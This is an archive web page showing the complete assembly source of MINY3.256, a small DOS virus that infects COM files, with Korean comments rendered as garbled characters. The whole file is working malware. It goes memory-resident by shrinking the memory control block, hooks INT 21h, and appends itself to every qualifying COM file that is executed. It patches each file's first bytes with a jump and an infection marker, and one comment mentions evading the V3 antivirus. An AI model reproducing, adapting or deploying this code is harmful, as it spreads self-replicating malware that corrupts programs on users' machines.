home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / KOREACOL.ZIP / MINY.ZIP / MINY3.ZIP / MY3-256.ASM < prev    next >
Assembly Source File  |  1995-06-01  |  9KB  |  198 lines

  1. ;******************************************************************************
  2. ;*        MINY3.256 ña╖í£ß»a ¡í»a                                             *
  3. ;*                                                                            *
  4. ;*                                                                            *
  5. ;*     úíôí3 »íƒí╗a║ù╡A ╨aÉa¥í èé¼e ña╖í£ß»a╖ÑòA êa╕w ï⌐╖íêa ╝l╖eê⌡╖a¥í ┤i¥a  *
  6. ;*   ╣a ╖╢öa. COM áeêq╡qûAôe £æ¼w║ü ña╖í£ß»a╖íöa.                             *
  7. ;*                                                                            *
  8. ;*                                                                            *
  9. ;*                                                                            *
  10. ;******************************************************************************
  11.  
  12.  
  13.  PARASIZE      EQU     (TVirEND - Start + 0Fh) SHR 4 ; £æ╡A¼ß └a╗í╨aôe ╟aïí
  14.  
  15.  VIRUS         SEGMENT PARA 'VIRUS'
  16.                ASSUME CS:VIRUS, DS:VIRUS
  17.  
  18.  Start:
  19.                call    Next                       ; ña╖í£ß»a ¼w║ü₧ü╦Ñ╖a¥í ╕±╧a
  20.  
  21. ;**************************************************
  22. ;    ¼ü¥í╢à 21h ñσ ╖Ñ╚ߣ≤╦a
  23. ;**************************************************
  24.  
  25.  NewInt21:
  26.                xchg   ah,al                       ; AH,AL êt ñaÄüïí
  27.                cmp    al,4Bh                      ; »⌐╨ù╖Ñêa?
  28.                jnz    J_Int21
  29.  
  30.                cmp    ah,30h                      ; £æ ¼w║ü ╡aªü ê±¼a╖Ñêa?
  31.                jnz    Push_All
  32.                xor    ax,ax                       ; áx╖aíe 0000╖i ò⌐¥a║æ
  33.                IRET
  34.  
  35.  Push_All:                                        ; ¥A╗í»a╚ß ╕ß╕w
  36.                Pushf
  37.                Push    ax
  38.                Push    bx
  39.                Push    cx
  40.                Push    dx
  41.                Push    ds
  42.                Push    si
  43.  
  44.                mov     ax,3D02h                   ; ╠a╖⌐ ╡í╧e ╨aïí
  45.                Int     21h
  46.                jc      Pop_All                    ; ╡A£ßíe Å{Éüïí
  47.  
  48.                push    cs                         ; CS=DS
  49.                pop     ds
  50.                xchg    bx,ax                      ; BX=╠a╖⌐ ╨àùi
  51.  
  52.  Read_File:
  53.                mov     ah,3Fh                     ; ╖¬┤ß ùi╖íïí
  54.                mov     dx,offset Org4bytes        ; 4 ña╖í╦a
  55.                mov     si,dx                      ; SI=╖¬╖e ║ü¡í
  56.                mov     cx,0004h                   ; ï⌐╖í
  57.                int     21h
  58.  
  59.  ChkFileisEXE:
  60.                cmp     byte ptr [SI],'M'          ; EXE ╠a╖⌐ ╖Ñêa?
  61.                jz      Close_File                 ; EXE áe ╠a╖⌐ ╟i¥í╗a
  62.  
  63.  Infect_COM:
  64.                cmp     byte ptr [SI+3],43h        ; êq╡q╡aªü ê±¼a
  65.                jz      Close_File                 ; (V3╖ü ëw╢ü ╖íêt╖i êa╗íúa¥í
  66.                                                   ; êq╡q┤eûQ)
  67.                mov     al,02h                     ; ╠a╖⌐╖ü ╣A╖⌐ ûߥí
  68.                call    Set_Pnt
  69.  
  70.                cmp     ax,1234                    ; 1234 Ñíöa ╕b╖eêa?
  71.                jb      Close_File
  72.                cmp     ax,65000                   ; 65000 Ñíöa ╟eêa?
  73.                ja      Close_File
  74.  
  75.                sub     ax,0003                    ; ╠a╖⌐ ï⌐╖í-3 = ╕±╧a╨i ╢ß├í
  76.                mov     word ptr Filehead+1,ax
  77.                mov     byte ptr Filehead+3,43h    ; êq╡q╡aªü óà╕a╡i
  78.  
  79.                mov     ah,40h                     ; ña╖í£ß»a │aïí
  80.                mov     cx, offset VirEND          ; ï⌐╖í (256 ña╖í╦a)
  81.                xor     dx,dx                      ; ñß╠ß
  82.                Int     21h
  83.  
  84.                mov     al,00h                     ; ╠a╖⌐╖ü └ß╖q╖a¥í ╖íò╖
  85.                call    Set_Pnt
  86.  
  87.                mov     ah,40h                     ; ña╖í£ß»a │aïí
  88.                mov     dx, offset FileHead        ; (┤|ªüªà╡A ╨üöw)
  89.                mov     cx,0004h                   ; Jump íw¥wîa╗í ═í╨q╨ü¼ß 4ña╖í
  90.                Int     21h                        ; ╦a
  91.  
  92.  Close_File:                                      ; ╠a╖⌐ öhïí
  93.                mov     ah,3eh                     ; ¡ó¼≈,Éi╝aùw╖e êq╡qûIÿü ñaÄσ
  94.                Int     21h                        ; öa.
  95.  
  96.  Pop_All:                                         ; ¥A╗í»a╚ß Ñóèü
  97.                Pop     si
  98.                Pop     ds
  99.                Pop     dx
  100.                Pop     cx
  101.                Pop     bx
  102.                Pop     ax
  103.                Popf
  104.  J_Int21:                                         ; ╢Ñ£ü int 21¥í ╕±╧a
  105.                xchg    ah,al
  106.                DB      0EAh                       ; JMP íw¥w
  107.  OldInt21      DD      ?
  108.  
  109. ;*************************************************
  110. ; ña╖í£ß»a £æ ¼w║ü ╠a╦a
  111. ;*************************************************
  112.  Next:         pop     BP                         ; BP╡A CALL ╖í ╤í┬ëûE öa╖qêt
  113.                sub     bp, +03                    ; -3 ╨aíe ña╖í£ß»a »í╕b╕±
  114.  
  115.                mov     AX,304Bh                   ; £æ ¼w║ü ╡aªü ê±¼a
  116.                xchg    ah,al                      ; AX=4B30
  117.                Int     21h                        ;
  118.                or      ax,ax                      ; AX êt╖í 0000╖ííe £æ╡A ña╖í£ß»aêa ╣Ñ╕ü
  119.                jz      Restart_COM                ; ╖íúí £æ╡A ña╖í£ß»aêa ╖╢╖i ëw╢ü
  120.  
  121.                mov     ah,0F0h                    ; ªë╧⌐╢a
  122.                mov     ch,'S'                     ; ªë╧⌐╢a
  123.  
  124.                MOV     BX,ES                      ; MCB èü╨aïí
  125.                NOP
  126.                DEC     BX                         ; -1 : Memory Control Block
  127.                mov     ds,bx
  128.                NOP
  129.                xor     bx,bx                      ; BX=0000
  130.                Inc     bl                         ; BL=01
  131.                cmp     byte ptr [BX-1],'Z'        ; áa╗íáb ºi£Γ╖Ñêa?
  132.                jnz     Restart_COM                ; ┤aôííe £æ ¼w║ü ┤e╨q
  133.                NOP
  134.                mov     AX, PARASIZE               ; ║ë╖⌐ £æ ╟aïí
  135.                sub     word ptr [BX+02],AX        ; ºi£Γ ¼a╖í╗a(BX=0003)
  136.                NOP
  137.  
  138.                sub     word ptr [BX+11h],AX       ; öa╖q íAííƒí ºi£Γ╖ü ¡Aïaáσ╦a ñσ╗í
  139.                mov     cl,'V'                     ; BX=0012 (mov cl,'V'ôe ªë╧⌐╢a╨q)
  140.                mov     es,word ptr [BX+11h]       ; ╡½ï⌐ ║ü¡í
  141.  
  142.                                                   ; Int 21h êa¥í└üïí
  143.                xor     ax,ax                      ; DS=0000
  144.                mov     ds,ax
  145.                lds     AX, [BX+83h]               ; DI=0084h
  146.                mov     word ptr ss:[BP+OldInt21+2],DS
  147.                mov     word ptr ss:[BP+OldInt21],AX
  148.  
  149.                push    cs                         ; ña╖í£ß»aƒi ┬A¼w╢ߥí Ñó¼a╨eöa.
  150.                pop     ds
  151.                mov     si,BP                      ; SI=ña╖í£ß»a »í╕b╕±
  152.                xor     di,di
  153.                mov     cx,offset TVirEND          ; ╡½ï⌐ï⌐╖í
  154.                cld
  155.                repz    movsb                      ; Ñó¼a
  156.  
  157.                mov     ds,cx                      ; Int 21h ƒi └a╗í╨eöa.
  158.                cli
  159.                mov     word ptr [BX+85h],es       ;
  160.                mov     word ptr [BX+83h],offset NewInt21
  161.                sti
  162.  
  163.  Restart_COM:
  164.                mov     si,BP                      ; SI = »í╕b╕±
  165.  
  166.                push    cs
  167.                pop     ds
  168.                push    cs                         ; ds=es
  169.                pop     es
  170.  
  171.                                                   ; ╢Ñ£ü ╧a¥íïa£æ »⌐╨ù╨aïí
  172.                add     si,offset Org4bytes        ; ╢Ñ£ü íw¥w┤ßêa ╕ß╕wûE ║ü¡í
  173.                mov     di,0100h                   ; └ß╖q╖ü 4 ña╖í╦a Ñóèü
  174.                push    di
  175.                movsw                              ; Ñó¼a
  176.                movsw
  177.                RET                                ; ╕ü»⌐╨ù
  178.  
  179.                NOP
  180.  Org4bytes     db      90h,90h,0cdh,20h           ; ╢Ñ£ü 4 ña╖í╦a╖ü êt
  181.  
  182.  Set_Pnt:                                         ; ╢ß├í ╖íò╖ íw¥w
  183.                mov     ah,42h
  184.                xor     cx,cx
  185.                xor     dx,dx
  186.                Int     21h
  187.                RET
  188.  
  189.                DB     'Miny3'                     ; ña╖í£ß»a ╖íƒq
  190.  FileHead      DB     0E9h                        ; JMP íw¥w
  191.                                                   ; ╡aïíªü╚ß ╠a╖⌐╡Aôe ┤e│a╡a╗▒
  192.  VirEND:                                          ; êq╡qûI ╠a╖⌐ ┤|ªüªà╡A │a╖⌐
  193.                DB     ?,?,?                       ; íw¥w
  194.  TVirEND:                                         ; £æ╡A¼ß ╣Ñ╕ü╨aôe ï⌐╖í
  195.  
  196.  VIRUS         ENDS
  197.                end    start
  198.